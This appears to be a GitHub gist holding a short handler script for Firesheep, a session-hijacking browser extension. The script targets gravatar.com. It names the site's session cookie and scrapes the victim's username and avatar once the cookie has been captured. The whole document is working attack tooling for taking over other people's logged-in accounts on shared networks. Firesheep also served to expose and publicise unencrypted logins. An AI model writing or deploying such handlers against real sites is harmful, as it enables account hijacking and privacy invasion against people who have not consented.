Skip to content

Instantly share code, notes, and snippets.

@michaelficarra
Created October 1, 2011 05:27
Show Gist options
  • Select an option

  • Save michaelficarra/1255643 to your computer and use it in GitHub Desktop.

Select an option

Save michaelficarra/1255643 to your computer and use it in GitHub Desktop.
firesheep handler for gravatar.com
// Authors:
// Michael Ficarra <github.com/michaelficarra>
register({
name: 'Gravatar',
url: 'http://gravatar.com/emails',
domains: [ 'gravatar.com' ],
sessionCookieNames: [ 'gravatar' ],
identifyUser: function() {
var resp = this.httpGet(this.siteUrl);
this.userName = resp.body.querySelector("#welcome").textContent.split(', ')[1].slice(0, -1);
this.userAvatar = resp.body.querySelector('#email_list .email.selected img').src;
}
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment